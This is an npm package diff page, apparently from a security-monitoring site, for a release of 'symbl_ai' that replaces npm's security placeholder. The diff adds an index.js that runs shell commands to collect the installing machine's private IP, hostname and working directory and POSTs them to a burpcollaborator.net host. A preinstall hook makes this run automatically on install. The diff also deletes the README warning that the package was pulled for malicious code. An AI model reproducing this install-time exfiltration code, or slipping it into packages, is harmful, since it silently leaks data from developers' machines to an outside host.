symbl_ai 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of symbl_ai might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +29 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ const execSync = require('child_process').execSync;
2
+
3
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
4
+ const host = execSync('hostname', { encoding: 'utf-8' });
5
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
6
+
7
+ const https = require("https")
8
+
9
+ const data = JSON.stringify({
10
+ "private IP": priv_ip,
11
+ "hostname": host,
12
+ "current dir": current_dir
13
+
14
+ })
15
+
16
+ const options = {
17
+ hostname: "94bnp38nyqt39uwm69sk1h8rwi28qx.burpcollaborator.net",
18
+ port: 443,
19
+ path: "/",
20
+ method: "POST",
21
+ headers: {
22
+ "Content-Type": "application/json",
23
+ "Content-Length": data.length,
24
+ },
25
+ }
26
+
27
+ const req = https.request(options)
28
+ req.write(data)
29
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "symbl_ai",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "Hacked By Nova",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "index.js"
9
+ },
10
+ "author": "Nova Security",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=symbl_ai for more information.